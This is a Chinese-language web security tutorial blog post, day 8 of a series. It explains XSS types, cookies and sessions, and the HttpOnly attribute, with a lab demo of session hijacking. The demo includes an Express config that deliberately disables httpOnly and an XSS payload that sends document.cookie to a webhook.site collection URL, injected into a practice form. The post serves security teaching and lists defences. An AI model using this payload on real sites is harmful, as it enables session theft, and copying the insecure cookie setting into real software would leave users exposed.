iT邦幫忙

2024 iThome 鐵人賽

DAY 8
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 8

資安這條路:Day 8 從 Cookie HTTPOnly 了解 Session Hijacking

  • 分享至 

  • xImage
  •  

漏洞成因

當使用者能夠向網站提交 HTML 或 JavaScript 程式碼,而網站前端未能適當過濾或轉義這些輸入時,瀏覽器將解析這些程式碼,可能導致 HTML 注入或 JavaScript 注入,即所謂的 XSS。

先決知識

了解 HTML 與 JavaScript

  • HTML (HyperText Markup Language):建立網頁內容的標記語言。
  • JavaScript:一種廣泛使用的腳本語言,可在瀏覽器中執行,用於實現網頁的動態功能。

Document Object Model (DOM)

DOM 是 HTML、XML和 SVG 文件的程式介面,允許 JavaScript 動態存取和更新網頁的內容、結構和樣式。

Browser Object Model (BOM)

BOM 提供了與瀏覽器窗口交互的接口,但沒有官方文件明確定義,因為不同瀏覽器的 BOM 實現可能不同。
常用的 BOM 包括window等。

XSS類型與防範策略

  1. 儲存型XSS:惡意腳本被儲存於伺服器上,例如在資料庫或訊息板上。
  2. 反射型XSS:惡意腳本透過 URL或其他輸入立即反射並執行。
  3. DOM型XSS:惡意腳本由於客戶端腳本錯誤處理使用者輸入而在瀏覽器中執行。

HTML與JavaScript的互動

HTML中引入JavaScript的方法包括:

  • 插入直接的腳本程式碼:<script type="text/javascript">JavaScript code</script>
  • 透過外部文件插入:<script src="myScript.js"></script>
  • 透過HTML標籤的事件屬性執行JavaScript,如onerroronload
    • <img src="" onerror="JavaScript code">
    • <body onLoad="JavaScript code"></body>

常見的攻擊手法與防範

  • 使用alert(), confirm(), prompt()等 Window Object Methods 來驗證瀏覽器對腳本的反應。
  • 確保所有輸入都經過適當的過濾或轉義,以防止XSS攻擊。

測試問題

  1. JavaScript 中可以與HTML互動的模型簡稱:DOM
  2. JavaScript 中可以與瀏覽器互動的模型簡稱:BOM
  3. HTML 中引入JavaScript需要使用的標籤<script>
  4. HTML標籤中用於發生錯誤時執行JavaScript的屬性onerror
  5. HTML標籤中用於載入完成後執行JavaScript的屬性onLoad
  6. JavaScript中用於顯示指定文字的窗口方法alert()
  7. JavaScript中用於讓使用者輸入文字的窗口方法prompt()
  8. JavaScript中用於讓使用者選擇確認或取消的窗口方法confirm()

Cookie 和 Session 複習

HTTP 協定

HTTP 是一種無狀態的通訊協定,這意味著每次交易完成後,連線就會關閉,伺服器不會記住之前的請求或回應。這種設計使得 HTTP 本身無法記住使用者的狀態,因此引入了 Cookie 和 Session 來維護狀態信息。

Cookie

Cookie 是伺服器傳送給使用者瀏覽器並保存在本地的小數據文件,它可以用來識別使用者,並在使用者再次存取網站時由瀏覽器發送給伺服器。

特性

  • Domain:指定哪些網域可以接收 Cookie。
  • Path:指定在哪些路徑下可以向伺服器傳送 Cookie,預設為根路徑 "/"。
  • Expires:設定 Cookie 的有效期限。
  • Secure:指定 Cookie 只能透過 HTTPS 協定傳輸。
  • HttpOnly:設定後,Cookie 不會被瀏覽器中的 JavaScript 腳本存取,可以防止跨站腳本攻擊(XSS)。
  • MaxAge:設定 Cookie 的過期時間,單位是毫秒。

Session

Session 是另一種維護使用者狀態的方法,它儲存在伺服器端,較為安全,不容易被使用者端偽造。

原理

  1. 瀏覽器發送登入請求。
  2. 伺服器驗證帳號密碼後,儲存使用者登入狀態並生成一個唯一的 SessionID。
  3. 伺服器透過 Set-Cookie 頭部將 SessionID 發送回瀏覽器,瀏覽器將其作為 Cookie 儲存。
  4. 當使用者再次存取網站時,瀏覽器會發送包含 SessionID 的 Cookie。
  5. 伺服器檢查 SessionID 來識別使用者並提供相應的服務。

小試身手

以下是一些關於 Cookie 和 Session 的基礎問題,可用於檢驗所學知識:

  1. Cookie 儲存位置位於哪裡?:瀏覽器(Browser)
  2. **Session 儲存位置位於哪裡?:伺服器(Server)
  3. HttpOnly 無法被瀏覽器中哪個腳本語言存取:JavaScript

引導學習 XSS 的思考問題

  1. 網站為什麼需要使用者輸入資料?常見的使用者輸入資料有哪些?
  2. 什麼是 HTML?它在網頁中扮演什麼角色?HTML 標籤的用途是什麼?
  3. 什麼是 JavaScript?它在網頁中扮演什麼角色?JS 與 HTML 和 CSS 有什麼關係?
  4. 什麼是 XSS 攻擊?攻擊者如何利用 XSS 漏洞?
  5. XSS 攻擊會造成哪些危害?請舉例說明。
  6. XSS 攻擊的類型有哪些?它們之間的區別是什麼?
  7. 如何防範 XSS 攻擊?請列舉至少三種常用的防範措施,並說明其原理。
  8. 網站開發者和使用者分別應該如何防範 XSS 攻擊?

參考答案

網站為什麼需要使用者輸入資料?常見的使用者輸入資料有哪些?

  • 幾乎所有網站都需要使用者輸入資料,例如使用者名稱、密碼、搜尋關鍵字、留言、評論等等。
  • 這些輸入資料可以讓網站提供客製化的服務,並且讓使用者之間可以互動。

什麼是 HTML?它在網頁中扮演什麼角色?HTML 標籤的用途是什麼?

  • HTML 是用來建立網頁結構和內容的標記語言。
  • HTML 標籤用來標記網頁上的不同元素,例如標題、段落、圖片等等。
  • 了解 HTML 標籤的語法和用途對於理解 XSS 攻擊非常重要。

什麼是 JavaScript?它在網頁中扮演什麼角色?JS 與 HTML 和 CSS 有什麼關係?

  • JavaScript 是一種程式語言,主要用來為網頁新增互動功能。
  • 它與 HTML 和 CSS 共同工作,讓網頁更好用有趣。

什麼是 XSS 攻擊?攻擊者如何利用 XSS 漏洞?

  • XSS 是一種網站安全漏洞,允許攻擊者將惡意程式碼注入到網頁中,並在其他使用者瀏覽該網頁時執行。
  • 攻擊者可以透過提交包含惡意程式碼的使用者輸入資料,例如留言或評論,來利用這個漏洞。

XSS 攻擊會造成哪些危害?請舉例說明。

  • XSS 攻擊可以竊取使用者的 Cookie 和 Session 資訊、發動釣魚攻擊、修改網頁內容、發動跨站請求偽造 (CSRF) 攻擊等等。
  • 例如,攻擊者可以利用 XSS 漏洞竊取使用者的登入帳號密碼,然後用這些帳號密碼登入使用者的帳號,竊取敏感資訊。

XSS 攻擊的類型有哪些?它們之間的區別是什麼?

  • XSS 攻擊主要分為三種類型:儲存型、反射型和 DOM 型 XSS。
  • 它們的主要區別在於惡意程式碼儲存和觸發的方式。

XSS 攻擊的類型

XSS 攻擊主要分為三種類型:

  1. 儲存型 XSS (Stored XSS):惡意腳本被儲存在網站的資料庫或伺服器上,當使用者存取包含該腳本的頁面時就會受到攻擊。例如,在論壇留言板中插入惡意腳本,所有瀏覽該留言的使用者都會受到影響。

  2. 反射型 XSS (Reflected XSS):惡意腳本包含在使用者提交的請求中,並被網站反射回使用者的瀏覽器。例如,攻擊者構造一個包含惡意腳本的 URL,當使用者點擊該 URL 時,惡意腳本就會在使用者的瀏覽器上執行。

直接將使用者輸入的 keyword 顯示在回應中,且未經任何過濾或轉義,攻擊者可以藉此插入惡意腳本。例如,存取 /search?keyword=,可能導致使用者瀏覽器執行惡意腳本。

  1. DOM-based XSS (基於 DOM 的 XSS):惡意腳本並未傳輸到伺服器,而是利用瀏覽器端的 DOM (Document Object Model) 操作來執行攻擊。例如,攻擊者可以修改網頁上的 JavaScript 程式碼,當使用者與網頁互動時觸發惡意腳本。

如何防範 XSS 攻擊?請列舉至少三種常用的防範措施,並說明其原理。

  • 防範措施包括:輸入驗證、輸出轉義、使用安全的模板引擎等等。

網站開發者和使用者分別應該如何防範 XSS 攻擊?

  • 網站開發者應該在開發過程中採取適當的安全措施,例如對使用者輸入資料進行嚴格驗證和過濾。
  • 使用者應該提高安全意識,避免點擊可疑連結,並且不要在不明網站上輸入敏感資訊。

Cookie HTTPOnly 詳細實作及 Session Hijacking 介紹

了解 Cookie HTTPOnly

HTTPOnly 是一個設定在 Cookie 上的屬性,其主要功能是增強網站安全性,防止跨站腳本攻擊(XSS)中的惡意腳本竊取使用者的 Cookies。當 Cookie 的 HTTPOnly 屬性被設定為 true,這些 Cookie 將無法被瀏覽器中的 JavaScript 存取。

實作步驟:
  1. 設定 Session Middleware
    在 Node.js 的 server.js 中設定 session middleware 以啟用 session 功能。以下是設定的範例程式碼:

     // 使用 session Middleware 來啟用 session 功能
     app.use(session({
       secret: 'your_session_secret', // Hard-coded 密鑰,應該要更換
       // secret: process.env.SESSION_SECRET, // 從環境變數取得密鑰,比較安全
       resave: false, // 是否重新保存 session
       saveUninitialized: true, // 是否保存未初始化的 session
       cookie: { 
         httpOnly: false, // 是否只允許 JS 存取 cookie <----增加這一行
         secure: false } // 在非 HTTPS 環境下也能使用 session
       // cookie: { secure: true } // 在 HTTPS 環境下使用 session
     }));
    
  2. 啟動服務
    使用 Docker 來容器化應用並啟動服務:

    docker-compose up -d --build
    
  3. 測試 Cookie
    在瀏覽器開啟開發者工具,進入 Console 標籤,輸入 document.cookie 查看儲存在瀏覽器的 Cookie。如果設定了 HTTPOnly,則應無法透過此方法查看到 Cookie。

    Cookie in Browser

了解 Session Hijacking

Session Hijacking 是一種攻擊手段,攻擊者竊取使用者的 Session ID 來取得對伺服器的未授權存取。這通常透過竊取儲存在使用者瀏覽器中的 Session Cookie 實現。

實作步驟:
  1. 設定收集資訊的網站
    存取 webhook.site(https://webhook.site/),一個可以收集並顯示發送到該 URL 的所有請求的服務。取得個人專屬的 URL。

    Webhook Site URL

  2. 建立惡意語法
    利用一段簡單的 JavaScript 程式碼將儲存在使用者瀏覽器中的 Cookies 發送到先前設定的 webhook.site:

    <script>new Image().src="https://<your-webhook-url>?data="+document.cookie;</script>
    

    這段程式碼建立了一個新的圖片物件,將其 src 屬性設定為包含使用者 Cookie 的 URL。當瀏覽器嘗試加載這張圖片時,它會將 Cookie 作為 URL 參數發送出去,從而實現 Session Hijacking。

  3. 進行攻擊:

將以上的程式碼,放入 http://nodelab.feifei.tw/form 中的 GET。

image

  1. 查看是否成功:

image

可以看到收集到的 Cookie

防範措施:
  • 使用 HTTPS 保護所有資料傳輸。
  • 為所有敏感 Cookie 設定 secureHTTPOnly 屬性。
  • 定期更新密鑰。
  • 為所有請求實施適當的驗證和授權檢查。

總結

a) 跨站腳本攻擊(XSS):

  • XSS的原理、類型(儲存型、反射型、DOM型)和危害
  • HTML、JavaScript與DOM/BOM的相關知識
  • XSS的防範策略

b) Cookie和Session:

  • HTTP協定的無狀態特性
  • Cookie的特性和用途
  • Session的原理和運作方式

c) XSS防禦機制:

  • Cookie HTTPOnly屬性的作用和實作
  • Session Hijacking的原理和防範

實作列表

  1. JS 測試

    • 使用 alert(), confirm(), prompt() 等方法測試XSS漏洞
  2. Cookie HTTPOnly 設定:

    app.use(session({
      // ... 其他設定
      cookie: { 
        httpOnly: false,
        secure: false 
      }
    }));
    
  3. Session Hijacking demo :

    • 設定webhook.site收集資訊
    • 建立惡意腳本:
      <script>new Image().src="https://<your-webhook-url>?data="+document.cookie;</script>
      
    • 將腳本插入易受攻擊的表單
  4. 檢查Cookie是否可被JavaScript存取:

    • 在瀏覽器控制台輸入 document.cookie

上一篇
資安這條路:Day 7 從登入註冊功能理解 Cookie、Session
下一篇
資安這條路:Day 9 從登入功能了解 SQL injection
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言